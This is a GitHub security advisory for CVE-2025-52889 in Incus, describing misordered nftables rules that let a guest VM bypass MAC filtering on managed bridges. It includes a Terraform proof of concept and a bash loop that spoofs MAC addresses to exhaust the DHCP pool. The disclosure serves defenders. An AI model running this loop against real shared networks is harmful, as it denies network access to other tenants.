GitHub Advisoryadvisory · Go

GHSA-9q7c-qmhm-jv86 Incus Allocation of Resources Without Limits allows firewall rule bypass on managed bridge networks

LOW Published 2025-06-26 Modified 2026-03-30 Official page ↗
Aliases
CVE-2025-52889
Ecosystem
Go
Packages
github.com/lxc/incus/v6
Severity
Low
CVSS vector
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L
Weaknesses
CWE-770
Reviewed
2025-06-26

Affected packages

• Go github.com/lxc/incus/v6: < 6.14.0 → fixed in 6.14.0

Description

Summary When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks. Details In commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain: iifname "{{.hostName}}" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering" snippet: iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop Therefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network. Additionaly, the commit adds non-restricted access to the local dnsmasq DNS server: {{ if .dnsIPv4 }} {{ range .dnsIPv4 }} iifname "{{$.hostName}}" ip daddr "{{.}}" tcp dport 53 accept iifname "{{$.hostName}}" ip daddr "{{.}}" udp dport 53 accept {{ end }} {{ end }} {{ if .dnsIPv6 }} {{ range .dnsIPv6 }} iifname "{{$.hostName}}" ip6 daddr "{{.}}" tcp dport 53 accept iifname "{{$.hostName}}" ip6 daddr "{{.}}" udp dport 53 accept {{ end }} {{ end }} An attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering. PoC With this terraform infrastructure: ``` resource "incus_network_acl" "acl_allow_out" { name = "acl-allow-out" egress = [ { action = "allow" destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254" state = "enabled" }, ] } resource "incus_network_acl" "acl_allow_in" { name = "acl-allow-in" ingress = [ { action = "allow" state = "enabled" }, ] } resource "incus_network" "br0" { name = "br0" config = { "ipv4.address" = "10.0.0.1/24" "ipv4.nat" = "true" } } resource "incus_instance" "machine1" { name = "machine1" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false "cloud-init.vendor-data" = <<-EOF #cloud-config package_update: true packages: • dhclient • tcpdump runcmd: • systemctl disable --now systemd.networkd.service • systemctl disable --now systemd.networkd.socket EOF } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name "security.ipv4_filtering" = true "security.acls" = join(",", [ incus_network_acl.acl_allow_out.name, incus_network_acl.acl_allow_in.name, ]) } } } resource "incus_instance" "machine2" { name = "machine2" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name } } } ``` An attacker in a VM requests many IP addresses and exhaust the pool: ```bash [MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done [HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases |wc -l 254 [HOST]$ incus start machine2 ``` At this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease. Impact All versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.

Related

Alias · CVE (1)

  • CVE-2025-52889 Incus is a system container and virtual machine manager. vulnerability

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References